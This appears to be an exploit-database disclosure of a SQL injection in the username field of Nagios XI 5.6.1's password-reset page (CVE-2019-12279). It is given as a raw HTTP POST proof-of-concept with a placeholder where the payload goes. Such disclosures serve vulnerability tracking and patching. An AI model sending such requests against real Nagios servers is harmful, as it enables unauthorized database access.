Nagios XI 5.6.1 - SQL injection

# Exploit Title: Nagiosxi username sql injection
# Date: 22/05/2019
# Exploit Author: JameelNabbo
# Website: jameelnabbo.com
# Vendor Homepage: https://www.nagios.com
# Software Link: https://www.nagios.com/products/nagios-xi/
# Version: xi-5.6.1
# Tested on: MacOSX
#CVE: CVE-2019-12279

POC:

POST /nagiosxi/login.php?forgotpass HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com/nagiosxi/login.php?forgotpass
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Connection: close
Cookie: nagiosxi=iu78vcultg46f35fq7lfbv8tc6
Upgrade-Insecure-Requests: 1

page=%2Fnagiosxi%2Flogin.php&pageopt=resetpass&nsp=cb6ad70efd0cc0b36ff4fc1d67cd70fb96a7e06622d281acb8810aa65485b03b&username={SQL INJECTION}